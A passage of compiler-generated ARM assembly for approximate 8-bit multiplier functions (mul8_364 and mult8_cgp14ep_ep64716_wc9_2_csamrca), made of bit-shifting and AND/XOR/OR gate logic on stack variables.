asr r3, r3, #16
strh r3, [fp, #-6] @ movhi
ldrb r3, [fp, #-34] @ zero_extendqisi2
lsl r3, r3, #7
lsl r3, r3, #16
asr r3, r3, #16
and r3, r3, #255
lsl r3, r3, #16
asr r2, r3, #16
ldrsh r3, [fp, #-6]
orr r3, r2, r3
lsl r3, r3, #16
asr r3, r3, #16
strh r3, [fp, #-6] @ movhi
ldrb r3, [fp, #-20] @ zero_extendqisi2
lsl r3, r3, #8
lsl r3, r3, #16
asr r3, r3, #16
and r3, r3, #256
lsl r3, r3, #16
asr r2, r3, #16
ldrsh r3, [fp, #-6]
orr r3, r2, r3
lsl r3, r3, #16
asr r3, r3, #16
strh r3, [fp, #-6] @ movhi
ldrb r3, [fp, #-18] @ zero_extendqisi2
lsl r3, r3, #9
lsl r3, r3, #16
asr r3, r3, #16
and r3, r3, #512
lsl r3, r3, #16
asr r2, r3, #16
ldrsh r3, [fp, #-6]
orr r3, r2, r3
lsl r3, r3, #16
asr r3, r3, #16
strh r3, [fp, #-6] @ movhi
ldrb r3, [fp, #-16] @ zero_extendqisi2
lsl r3, r3, #10
lsl r3, r3, #16
asr r3, r3, #16
and r3, r3, #1024
lsl r3, r3, #16
asr r2, r3, #16
ldrsh r3, [fp, #-6]
orr r3, r2, r3
lsl r3, r3, #16
asr r3, r3, #16
strh r3, [fp, #-6] @ movhi
ldrb r3, [fp, #-14] @ zero_extendqisi2
lsl r3, r3, #11
lsl r3, r3, #16
asr r3, r3, #16
and r3, r3, #2048
lsl r3, r3, #16
asr r2, r3, #16
ldrsh r3, [fp, #-6]
orr r3, r2, r3
lsl r3, r3, #16
asr r3, r3, #16
strh r3, [fp, #-6] @ movhi
ldrb r3, [fp, #-12] @ zero_extendqisi2
lsl r3, r3, #12
lsl r3, r3, #16
asr r3, r3, #16
and r3, r3, #4096
lsl r3, r3, #16
asr r2, r3, #16
ldrsh r3, [fp, #-6]
orr r3, r2, r3
lsl r3, r3, #16
asr r3, r3, #16
strh r3, [fp, #-6] @ movhi
ldrb r3, [fp, #-10] @ zero_extendqisi2
lsl r3, r3, #13
lsl r3, r3, #16
asr r3, r3, #16
and r3, r3, #8192
lsl r3, r3, #16
asr r2, r3, #16
ldrsh r3, [fp, #-6]
orr r3, r2, r3
lsl r3, r3, #16
asr r3, r3, #16
strh r3, [fp, #-6] @ movhi
ldrb r3, [fp, #-8] @ zero_extendqisi2
lsl r3, r3, #14
lsl r3, r3, #16
asr r3, r3, #16
and r3, r3, #16384
lsl r3, r3, #16
asr r2, r3, #16
ldrsh r3, [fp, #-6]
orr r3, r2, r3
lsl r3, r3, #16
asr r3, r3, #16
strh r3, [fp, #-6] @ movhi
ldrb r3, [fp, #-7] @ zero_extendqisi2
lsl r3, r3, #15
lsl r3, r3, #16
asr r2, r3, #16
ldrsh r3, [fp, #-6]
orr r3, r2, r3
lsl r3, r3, #16
asr r3, r3, #16
strh r3, [fp, #-6] @ movhi
ldrh r3, [fp, #-6]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size mul8_364, .-mul8_364
.align 2
.global mult8_cgp14ep_ep64716_wc9_2_csamrca
.syntax unified
.arm
.fpu softvfp
.type mult8_cgp14ep_ep64716_wc9_2_csamrca, %function
mult8_cgp14ep_ep64716_wc9_2_csamrca:
@ args = 0, pretend = 0, frame = 5608
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, r8, r9, fp, lr}
add fp, sp, #28
sub sp, sp, #5568
sub sp, sp, #40
str r0, [fp, #-2484]
str r1, [fp, #-2480]
str r2, [fp, #-2492]
str r3, [fp, #-2488]
mov r3, #0
str r3, [fp, #-2472]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #2
orr r4, r4, r3, lsl #30
lsr r5, r3, #2
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #1
orr r0, r0, r3, lsl #31
lsr r1, r3, #1
and r6, r4, r0
and r7, r5, r1
mov r2, #1
mov r3, #0
and r1, r6, r2
str r1, [fp, #-3092]
and r3, r7, r3
str r3, [fp, #-3088]
ldr r3, [fp, #-3092]
ldr r4, [fp, #-3088]
str r3, [fp, #-2468]
str r4, [fp, #-2464]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r0, #0
mov r1, #0
lsr r0, r2, #3
orr r0, r0, r3, lsl #29
lsr r1, r3, #3
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
and r8, r0, r2
and r9, r1, r3
mov r2, #1
mov r3, #0
and r1, r8, r2
str r1, [fp, #-3100]
and r3, r9, r3
str r3, [fp, #-3096]
ldr r3, [fp, #-3100]
ldr r4, [fp, #-3096]
str r3, [fp, #-2460]
str r4, [fp, #-2456]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r0, #0
mov r1, #0
lsr r0, r2, #4
orr r0, r0, r3, lsl #28
lsr r1, r3, #4
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
and ip, r0, r2
str ip, [fp, #-2500]
and r3, r1, r3
str r3, [fp, #-2496]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2500]
ldr r1, [fp, #-2496]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3108]
and r1, r1, r3
str r1, [fp, #-3104]
ldr r3, [fp, #-3108]
ldr r4, [fp, #-3104]
str r3, [fp, #-2452]
str r4, [fp, #-2448]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r0, #0
mov r1, #0
lsr r0, r2, #5
orr r0, r0, r3, lsl #27
lsr r1, r3, #5
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
and ip, r0, r2
str ip, [fp, #-2508]
and r3, r1, r3
str r3, [fp, #-2504]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2508]
ldr r1, [fp, #-2504]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3116]
and r1, r1, r3
str r1, [fp, #-3112]
ldr r3, [fp, #-3116]
ldr r4, [fp, #-3112]
str r3, [fp, #-2444]
str r4, [fp, #-2440]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r0, #0
mov r1, #0
lsr r0, r2, #6
orr r0, r0, r3, lsl #26
lsr r1, r3, #6
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
and ip, r0, r2
str ip, [fp, #-2516]
and r3, r1, r3
str r3, [fp, #-2512]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2516]
ldr r1, [fp, #-2512]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3124]
and r1, r1, r3
str r1, [fp, #-3120]
ldr r3, [fp, #-3124]
ldr r4, [fp, #-3120]
str r3, [fp, #-2436]
str r4, [fp, #-2432]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r0, #0
mov r1, #0
lsr r0, r2, #7
orr r0, r0, r3, lsl #25
lsr r1, r3, #7
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
and ip, r0, r2
str ip, [fp, #-2524]
and r3, r1, r3
str r3, [fp, #-2520]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2524]
ldr r1, [fp, #-2520]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3132]
and r1, r1, r3
str r1, [fp, #-3128]
ldr r3, [fp, #-3132]
ldr r4, [fp, #-3128]
str r3, [fp, #-2428]
str r4, [fp, #-2424]
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #2
orr r0, r0, r3, lsl #30
lsr r1, r3, #2
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
and ip, r0, r2
str ip, [fp, #-2532]
and r3, r1, r3
str r3, [fp, #-2528]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2532]
ldr r1, [fp, #-2528]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3140]
and r1, r1, r3
str r1, [fp, #-3136]
ldr r3, [fp, #-3140]
ldr r4, [fp, #-3136]
str r3, [fp, #-2420]
str r4, [fp, #-2416]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #3
orr r4, r4, r3, lsl #29
lsr r5, r3, #3
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #1
orr r0, r0, r3, lsl #31
lsr r1, r3, #1
and r3, r4, r0
str r3, [fp, #-2540]
and r3, r5, r1
str r3, [fp, #-2536]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2540]
ldr r1, [fp, #-2536]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3148]
and r1, r1, r3
str r1, [fp, #-3144]
ldr r3, [fp, #-3148]
ldr r4, [fp, #-3144]
str r3, [fp, #-2412]
str r4, [fp, #-2408]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #4
orr r4, r4, r3, lsl #28
lsr r5, r3, #4
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #1
orr r0, r0, r3, lsl #31
lsr r1, r3, #1
and r3, r4, r0
str r3, [fp, #-2548]
and r3, r5, r1
str r3, [fp, #-2544]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2548]
ldr r1, [fp, #-2544]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3156]
and r1, r1, r3
str r1, [fp, #-3152]
ldr r3, [fp, #-3156]
ldr r4, [fp, #-3152]
str r3, [fp, #-2404]
str r4, [fp, #-2400]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #5
orr r4, r4, r3, lsl #27
lsr r5, r3, #5
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #1
orr r0, r0, r3, lsl #31
lsr r1, r3, #1
and r3, r4, r0
str r3, [fp, #-2556]
and r3, r5, r1
str r3, [fp, #-2552]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2556]
ldr r1, [fp, #-2552]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3164]
and r1, r1, r3
str r1, [fp, #-3160]
ldr r3, [fp, #-3164]
ldr r4, [fp, #-3160]
str r3, [fp, #-2396]
str r4, [fp, #-2392]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #6
orr r4, r4, r3, lsl #26
lsr r5, r3, #6
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #1
orr r0, r0, r3, lsl #31
lsr r1, r3, #1
and r3, r4, r0
str r3, [fp, #-2564]
and r3, r5, r1
str r3, [fp, #-2560]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2564]
ldr r1, [fp, #-2560]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3172]
and r1, r1, r3
str r1, [fp, #-3168]
ldr r3, [fp, #-3172]
ldr r4, [fp, #-3168]
str r3, [fp, #-2388]
str r4, [fp, #-2384]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #7
orr r4, r4, r3, lsl #25
lsr r5, r3, #7
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #1
orr r0, r0, r3, lsl #31
lsr r1, r3, #1
and r3, r4, r0
str r3, [fp, #-2572]
and r3, r5, r1
str r3, [fp, #-2568]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2572]
ldr r1, [fp, #-2568]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3180]
and r1, r1, r3
str r1, [fp, #-3176]
ldr r3, [fp, #-3180]
ldr r4, [fp, #-3176]
str r3, [fp, #-2380]
str r4, [fp, #-2376]
ldr r0, [fp, #-2468]
ldr r1, [fp, #-2464]
ldr r2, [fp, #-2420]
ldr r3, [fp, #-2416]
orr ip, r0, r2
str ip, [fp, #-3188]
orr r3, r1, r3
str r3, [fp, #-3184]
ldr r3, [fp, #-3188]
ldr r4, [fp, #-3184]
str r3, [fp, #-2372]
str r4, [fp, #-2368]
ldr r0, [fp, #-2460]
ldr r1, [fp, #-2456]
ldr r2, [fp, #-2420]
ldr r3, [fp, #-2416]
and ip, r0, r2
str ip, [fp, #-3196]
and r3, r1, r3
str r3, [fp, #-3192]
ldr r3, [fp, #-3196]
ldr r4, [fp, #-3192]
str r3, [fp, #-2364]
str r4, [fp, #-2360]
ldr r0, [fp, #-2460]
ldr r1, [fp, #-2456]
ldr r2, [fp, #-2468]
ldr r3, [fp, #-2464]
eor ip, r0, r2
str ip, [fp, #-3204]
eor r3, r1, r3
str r3, [fp, #-3200]
ldr r3, [fp, #-3204]
ldr r4, [fp, #-3200]
str r3, [fp, #-2356]
str r4, [fp, #-2352]
ldr r0, [fp, #-2460]
ldr r1, [fp, #-2456]
ldr r2, [fp, #-2468]
ldr r3, [fp, #-2464]
and ip, r0, r2
str ip, [fp, #-3212]
and r3, r1, r3
str r3, [fp, #-3208]
ldr r3, [fp, #-3212]
ldr r4, [fp, #-3208]
str r3, [fp, #-2348]
str r4, [fp, #-2344]
ldr r0, [fp, #-2452]
ldr r1, [fp, #-2448]
ldr r2, [fp, #-2412]
ldr r3, [fp, #-2408]
eor ip, r0, r2
str ip, [fp, #-3220]
eor r3, r1, r3
str r3, [fp, #-3216]
ldr r3, [fp, #-3220]
ldr r4, [fp, #-3216]
str r3, [fp, #-2340]
str r4, [fp, #-2336]
ldr r0, [fp, #-2452]
ldr r1, [fp, #-2448]
ldr r2, [fp, #-2412]
ldr r3, [fp, #-2408]
and ip, r0, r2
str ip, [fp, #-3228]
and r3, r1, r3
str r3, [fp, #-3224]
ldr r3, [fp, #-3228]
ldr r4, [fp, #-3224]
str r3, [fp, #-2332]
str r4, [fp, #-2328]
ldr r0, [fp, #-2444]
ldr r1, [fp, #-2440]
ldr r2, [fp, #-2404]
ldr r3, [fp, #-2400]
eor ip, r0, r2
str ip, [fp, #-3236]
eor r3, r1, r3
str r3, [fp, #-3232]
ldr r3, [fp, #-3236]
ldr r4, [fp, #-3232]
str r3, [fp, #-2324]
str r4, [fp, #-2320]
ldr r0, [fp, #-2444]
ldr r1, [fp, #-2440]
ldr r2, [fp, #-2404]
ldr r3, [fp, #-2400]
and ip, r0, r2
str ip, [fp, #-3244]
and r3, r1, r3
str r3, [fp, #-3240]
ldr r3, [fp, #-3244]
ldr r4, [fp, #-3240]
str r3, [fp, #-2316]
str r4, [fp, #-2312]
ldr r0, [fp, #-2436]
ldr r1, [fp, #-2432]
ldr r2, [fp, #-2396]
ldr r3, [fp, #-2392]
eor ip, r0, r2
str ip, [fp, #-3252]
eor r3, r1, r3
str r3, [fp, #-3248]
ldr r3, [fp, #-3252]
ldr r4, [fp, #-3248]
str r3, [fp, #-2308]
str r4, [fp, #-2304]
ldr r0, [fp, #-2436]
ldr r1, [fp, #-2432]
ldr r2, [fp, #-2396]
ldr r3, [fp, #-2392]
and ip, r0, r2
str ip, [fp, #-3260]
and r3, r1, r3
str r3, [fp, #-3256]
ldr r3, [fp, #-3260]
ldr r4, [fp, #-3256]
str r3, [fp, #-2300]
str r4, [fp, #-2296]
ldr r0, [fp, #-2428]
ldr r1, [fp, #-2424]
ldr r2, [fp, #-2388]
ldr r3, [fp, #-2384]
eor ip, r0, r2
str ip, [fp, #-3268]
eor r3, r1, r3
str r3, [fp, #-3264]
ldr r3, [fp, #-3268]
ldr r4, [fp, #-3264]
str r3, [fp, #-2292]
str r4, [fp, #-2288]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r0, #0
mov r1, #0
lsr r0, r2, #6
orr r0, r0, r3, lsl #26
lsr r1, r3, #6
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
and ip, r0, r2
str ip, [fp, #-2580]
and r3, r1, r3
str r3, [fp, #-2576]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2580]
ldr r1, [fp, #-2576]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3276]
and r1, r1, r3
str r1, [fp, #-3272]
ldr r3, [fp, #-3276]
ldr r4, [fp, #-3272]
str r3, [fp, #-2284]
str r4, [fp, #-2280]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #1
orr r4, r4, r3, lsl #31
lsr r5, r3, #1
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #2
orr r0, r0, r3, lsl #30
lsr r1, r3, #2
and r3, r4, r0
str r3, [fp, #-2588]
and r3, r5, r1
str r3, [fp, #-2584]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2588]
ldr r1, [fp, #-2584]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3284]
and r1, r1, r3
str r1, [fp, #-3280]
ldr r3, [fp, #-3284]
ldr r4, [fp, #-3280]
str r3, [fp, #-2276]
str r4, [fp, #-2272]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #2
orr r4, r4, r3, lsl #30
lsr r5, r3, #2
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #2
orr r0, r0, r3, lsl #30
lsr r1, r3, #2
and r3, r4, r0
str r3, [fp, #-2596]
and r3, r5, r1
str r3, [fp, #-2592]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2596]
ldr r1, [fp, #-2592]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3292]
and r1, r1, r3
str r1, [fp, #-3288]
ldr r3, [fp, #-3292]
ldr r4, [fp, #-3288]
str r3, [fp, #-2268]
str r4, [fp, #-2264]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #3
orr r4, r4, r3, lsl #29
lsr r5, r3, #3
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #2
orr r0, r0, r3, lsl #30
lsr r1, r3, #2
and r3, r4, r0
str r3, [fp, #-2604]
and r3, r5, r1
str r3, [fp, #-2600]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2604]
ldr r1, [fp, #-2600]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3300]
and r1, r1, r3
str r1, [fp, #-3296]
ldr r3, [fp, #-3300]
ldr r4, [fp, #-3296]
str r3, [fp, #-2260]
str r4, [fp, #-2256]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #4
orr r4, r4, r3, lsl #28
lsr r5, r3, #4
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #2
orr r0, r0, r3, lsl #30
lsr r1, r3, #2
and r3, r4, r0
str r3, [fp, #-2612]
and r3, r5, r1
str r3, [fp, #-2608]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2612]
ldr r1, [fp, #-2608]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3308]
and r1, r1, r3
str r1, [fp, #-3304]
ldr r3, [fp, #-3308]
ldr r4, [fp, #-3304]
str r3, [fp, #-2252]
str r4, [fp, #-2248]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #5
orr r4, r4, r3, lsl #27
lsr r5, r3, #5
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #2
orr r0, r0, r3, lsl #30
lsr r1, r3, #2
and r3, r4, r0
str r3, [fp, #-2620]
and r3, r5, r1
str r3, [fp, #-2616]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2620]
ldr r1, [fp, #-2616]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3316]
and r1, r1, r3
str r1, [fp, #-3312]
ldr r3, [fp, #-3316]
ldr r4, [fp, #-3312]
str r3, [fp, #-2244]
str r4, [fp, #-2240]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #6
orr r4, r4, r3, lsl #26
lsr r5, r3, #6
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #2
orr r0, r0, r3, lsl #30
lsr r1, r3, #2
and r3, r4, r0
str r3, [fp, #-2628]
and r3, r5, r1
str r3, [fp, #-2624]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2628]
ldr r1, [fp, #-2624]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3324]
and r1, r1, r3
str r1, [fp, #-3320]
ldr r3, [fp, #-3324]
ldr r4, [fp, #-3320]
str r3, [fp, #-2236]
str r4, [fp, #-2232]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #7
orr r4, r4, r3, lsl #25
lsr r5, r3, #7
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #2
orr r0, r0, r3, lsl #30
lsr r1, r3, #2
and r3, r4, r0
str r3, [fp, #-2636]
and r3, r5, r1
str r3, [fp, #-2632]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2636]
ldr r1, [fp, #-2632]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3332]
and r1, r1, r3
str r1, [fp, #-3328]
ldr r3, [fp, #-3332]
ldr r4, [fp, #-3328]
str r3, [fp, #-2228]
str r4, [fp, #-2224]
ldr r0, [fp, #-2356]
ldr r1, [fp, #-2352]
ldr r2, [fp, #-2276]
ldr r3, [fp, #-2272]
orr ip, r0, r2
str ip, [fp, #-3340]
orr r3, r1, r3
str r3, [fp, #-3336]
ldr r3, [fp, #-3340]
ldr r4, [fp, #-3336]
str r3, [fp, #-2220]
str r4, [fp, #-2216]
ldr r0, [fp, #-2356]
ldr r1, [fp, #-2352]
ldr r2, [fp, #-2276]
ldr r3, [fp, #-2272]
and ip, r0, r2
str ip, [fp, #-3348]
and r3, r1, r3
str r3, [fp, #-3344]
ldr r3, [fp, #-3348]
ldr r4, [fp, #-3344]
str r3, [fp, #-2212]
str r4, [fp, #-2208]
ldr r0, [fp, #-2276]
ldr r1, [fp, #-2272]
ldr r2, [fp, #-2364]
ldr r3, [fp, #-2360]
and ip, r0, r2
str ip, [fp, #-3356]
and r3, r1, r3
str r3, [fp, #-3352]
ldr r3, [fp, #-3356]
ldr r4, [fp, #-3352]
str r3, [fp, #-2204]
str r4, [fp, #-2200]
ldr r0, [fp, #-2212]
ldr r1, [fp, #-2208]
ldr r2, [fp, #-2204]
ldr r3, [fp, #-2200]
orr ip, r0, r2
str ip, [fp, #-3364]
orr r3, r1, r3
str r3, [fp, #-3360]
ldr r3, [fp, #-3364]
ldr r4, [fp, #-3360]
str r3, [fp, #-2196]
str r4, [fp, #-2192]
ldr r0, [fp, #-2340]
ldr r1, [fp, #-2336]
ldr r2, [fp, #-2268]
ldr r3, [fp, #-2264]
eor ip, r0, r2
str ip, [fp, #-3372]
eor r3, r1, r3
str r3, [fp, #-3368]
ldr r3, [fp, #-3372]
ldr r4, [fp, #-3368]
str r3, [fp, #-2188]
str r4, [fp, #-2184]
ldr r0, [fp, #-2340]
ldr r1, [fp, #-2336]
ldr r2, [fp, #-2268]
ldr r3, [fp, #-2264]
and ip, r0, r2
str ip, [fp, #-3380]
and r3, r1, r3
str r3, [fp, #-3376]
ldr r3, [fp, #-3380]
ldr r4, [fp, #-3376]
str r3, [fp, #-2180]
str r4, [fp, #-2176]
ldr r0, [fp, #-2188]
ldr r1, [fp, #-2184]
ldr r2, [fp, #-2348]
ldr r3, [fp, #-2344]
and ip, r0, r2
str ip, [fp, #-3388]
and r3, r1, r3
str r3, [fp, #-3384]
ldr r3, [fp, #-3388]
ldr r4, [fp, #-3384]
str r3, [fp, #-2172]
str r4, [fp, #-2168]
ldr r0, [fp, #-2188]
ldr r1, [fp, #-2184]
ldr r2, [fp, #-2348]
ldr r3, [fp, #-2344]
eor ip, r0, r2
str ip, [fp, #-3396]
eor r3, r1, r3
str r3, [fp, #-3392]
ldr r3, [fp, #-3396]
ldr r4, [fp, #-3392]
str r3, [fp, #-2164]
str r4, [fp, #-2160]
ldr r0, [fp, #-2180]
ldr r1, [fp, #-2176]
ldr r2, [fp, #-2172]
ldr r3, [fp, #-2168]
orr ip, r0, r2
str ip, [fp, #-3404]
orr r3, r1, r3
str r3, [fp, #-3400]
ldr r3, [fp, #-3404]
ldr r4, [fp, #-3400]
str r3, [fp, #-2156]
str r4, [fp, #-2152]
ldr r0, [fp, #-2324]
ldr r1, [fp, #-2320]
ldr r2, [fp, #-2260]
ldr r3, [fp, #-2256]
eor ip, r0, r2
str ip, [fp, #-3412]
eor r3, r1, r3
str r3, [fp, #-3408]
ldr r3, [fp, #-3412]
ldr r4, [fp, #-3408]
str r3, [fp, #-2148]
str r4, [fp, #-2144]
ldr r0, [fp, #-2324]
ldr r1, [fp, #-2320]
ldr r2, [fp, #-2260]
ldr r3, [fp, #-2256]
and ip, r0, r2
str ip, [fp, #-3420]
and r3, r1, r3
str r3, [fp, #-3416]
ldr r3, [fp, #-3420]
ldr r4, [fp, #-3416]
str r3, [fp, #-2140]
str r4, [fp, #-2136]
ldr r0, [fp, #-2148]
ldr r1, [fp, #-2144]
ldr r2, [fp, #-2332]
ldr r3, [fp, #-2328]
and ip, r0, r2
str ip, [fp, #-3428]
and r3, r1, r3
str r3, [fp, #-3424]
ldr r3, [fp, #-3428]
ldr r4, [fp, #-3424]
str r3, [fp, #-2132]
str r4, [fp, #-2128]
ldr r0, [fp, #-2148]
ldr r1, [fp, #-2144]
ldr r2, [fp, #-2332]
ldr r3, [fp, #-2328]
eor ip, r0, r2
str ip, [fp, #-3436]
eor r3, r1, r3
str r3, [fp, #-3432]
ldr r3, [fp, #-3436]
ldr r4, [fp, #-3432]
str r3, [fp, #-2124]
str r4, [fp, #-2120]
ldr r0, [fp, #-2140]
ldr r1, [fp, #-2136]
ldr r2, [fp, #-2132]
ldr r3, [fp, #-2128]
orr ip, r0, r2
str ip, [fp, #-3444]
orr r3, r1, r3
str r3, [fp, #-3440]
ldr r3, [fp, #-3444]
ldr r4, [fp, #-3440]
str r3, [fp, #-2116]
str r4, [fp, #-2112]
ldr r0, [fp, #-2308]
ldr r1, [fp, #-2304]
ldr r2, [fp, #-2252]
ldr r3, [fp, #-2248]
eor ip, r0, r2
str ip, [fp, #-3452]
eor r3, r1, r3
str r3, [fp, #-3448]
ldr r3, [fp, #-3452]
ldr r4, [fp, #-3448]
str r3, [fp, #-2108]
str r4, [fp, #-2104]
ldr r0, [fp, #-2308]
ldr r1, [fp, #-2304]
ldr r2, [fp, #-2252]
ldr r3, [fp, #-2248]
and ip, r0, r2
str ip, [fp, #-3460]
and r3, r1, r3
str r3, [fp, #-3456]
ldr r3, [fp, #-3460]
ldr r4, [fp, #-3456]
str r3, [fp, #-2100]
str r4, [fp, #-2096]
ldr r0, [fp, #-2108]
ldr r1, [fp, #-2104]
ldr r2, [fp, #-2316]
ldr r3, [fp, #-2312]
and ip, r0, r2
str ip, [fp, #-3468]
and r3, r1, r3
str r3, [fp, #-3464]
ldr r3, [fp, #-3468]
ldr r4, [fp, #-3464]
str r3, [fp, #-2092]
str r4, [fp, #-2088]
ldr r0, [fp, #-2108]
ldr r1, [fp, #-2104]
ldr r2, [fp, #-2316]
ldr r3, [fp, #-2312]
eor ip, r0, r2
str ip, [fp, #-3476]
eor r3, r1, r3
str r3, [fp, #-3472]
ldr r3, [fp, #-3476]
ldr r4, [fp, #-3472]
str r3, [fp, #-2084]
str r4, [fp, #-2080]
ldr r0, [fp, #-2100]
ldr r1, [fp, #-2096]
ldr r2, [fp, #-2092]
ldr r3, [fp, #-2088]
orr ip, r0, r2
str ip, [fp, #-3484]
orr r3, r1, r3
str r3, [fp, #-3480]
ldr r3, [fp, #-3484]
ldr r4, [fp, #-3480]
str r3, [fp, #-2076]
str r4, [fp, #-2072]
ldr r0, [fp, #-2292]
ldr r1, [fp, #-2288]
ldr r2, [fp, #-2244]
ldr r3, [fp, #-2240]
eor ip, r0, r2
str ip, [fp, #-3492]
eor r3, r1, r3
str r3, [fp, #-3488]
ldr r3, [fp, #-3492]
ldr r4, [fp, #-3488]
str r3, [fp, #-2068]
str r4, [fp, #-2064]
ldr r0, [fp, #-2292]
ldr r1, [fp, #-2288]
ldr r2, [fp, #-2244]
ldr r3, [fp, #-2240]
and ip, r0, r2
str ip, [fp, #-3500]
and r3, r1, r3
str r3, [fp, #-3496]
ldr r3, [fp, #-3500]
ldr r4, [fp, #-3496]
str r3, [fp, #-2060]
str r4, [fp, #-2056]
ldr r0, [fp, #-2068]
ldr r1, [fp, #-2064]
ldr r2, [fp, #-2300]
ldr r3, [fp, #-2296]
and ip, r0, r2
str ip, [fp, #-3508]
and r3, r1, r3
str r3, [fp, #-3504]
ldr r3, [fp, #-3508]
ldr r4, [fp, #-3504]
str r3, [fp, #-2052]
str r4, [fp, #-2048]
ldr r0, [fp, #-2068]
ldr r1, [fp, #-2064]
ldr r2, [fp, #-2300]
ldr r3, [fp, #-2296]
eor ip, r0, r2
str ip, [fp, #-3516]
eor r3, r1, r3
str r3, [fp, #-3512]
ldr r3, [fp, #-3516]
ldr r4, [fp, #-3512]
str r3, [fp, #-2044]
